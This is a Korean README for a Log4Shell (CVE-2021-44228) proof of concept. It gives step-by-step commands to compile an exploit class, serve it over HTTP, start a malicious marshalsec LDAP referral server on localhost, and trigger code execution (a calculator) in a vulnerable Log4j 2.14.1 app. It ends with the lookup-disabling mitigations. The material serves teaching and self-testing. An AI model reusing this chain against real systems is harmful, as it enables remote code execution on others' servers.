
CVE-2021-44228 (Log4Shell) 개념 증명

Apache Log4j2 <=2.14.1의 설정, 로그 메시지 및 매개변수에 사용되는 JNDI 기능은 공격자가 제어하는 LDAP 및 기타 JNDI 관련 엔드포인트로부터 보호하지 않습니다. 메시지 조회 대체가 활성화된 경우 로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 LDAP 서버에서 로드된 임의 코드를 실행할 수 있습니다.
고객이 이 취약점의 작동 방식을 이해할 수 있도록 간단하면서도 작동하는 개념 증명을 포함한 이 리포지토리를 준비했습니다.
현재 임의 코드는 macOS 또는 Windows에서 계산기 애플리케이션을 실행하므로 이 PoC는 이 두 운영 체제만 지원합니다.
모든 정보와 코드는 교육 목적 및/또는 이 취약점에 대한 자체 시스템 테스트를 위해 제공됩니다.
이 PoC는 아래 그림에 설명된 것과 유사합니다(출처: GovCERT.ch). 취약한 서버는 단순성을 위해 단순한 Java 클래스일 뿐입니다. 이 취약점은 다양한 방식으로 트리거될 수 있다는 점을 이해하는 것이 중요하며, 아래 설명된 것은 그 중 하나에 불과합니다.

terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git
익스플로잇 컴파일 (JDK 11 사용)
terminal1 $ javac Exploit.java
익스플로잇을 제공할 HTTP 서버 실행
terminal1 $ python -m SimpleHTTPServer 8888 --directory .
악성 LDAPRefServer 시작 (https://github.com/mbechler/marshalsec 감사)
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
취약한 애플리케이션 실행 (log4j 2.14.1 포함)
terminal3 $ mvn package && mvn exec:exec
모든 것이 정상적으로 진행되면 계산기 애플리케이션(임의 코드 실행)이 나타납니다.

terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
terminal3 $ mvn package && mvn exec:exec
이 경우 계산기가 더 이상 나타나지 않아야 합니다.
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true
이 경우 계산기가 더 이상 나타나지 않아야 합니다.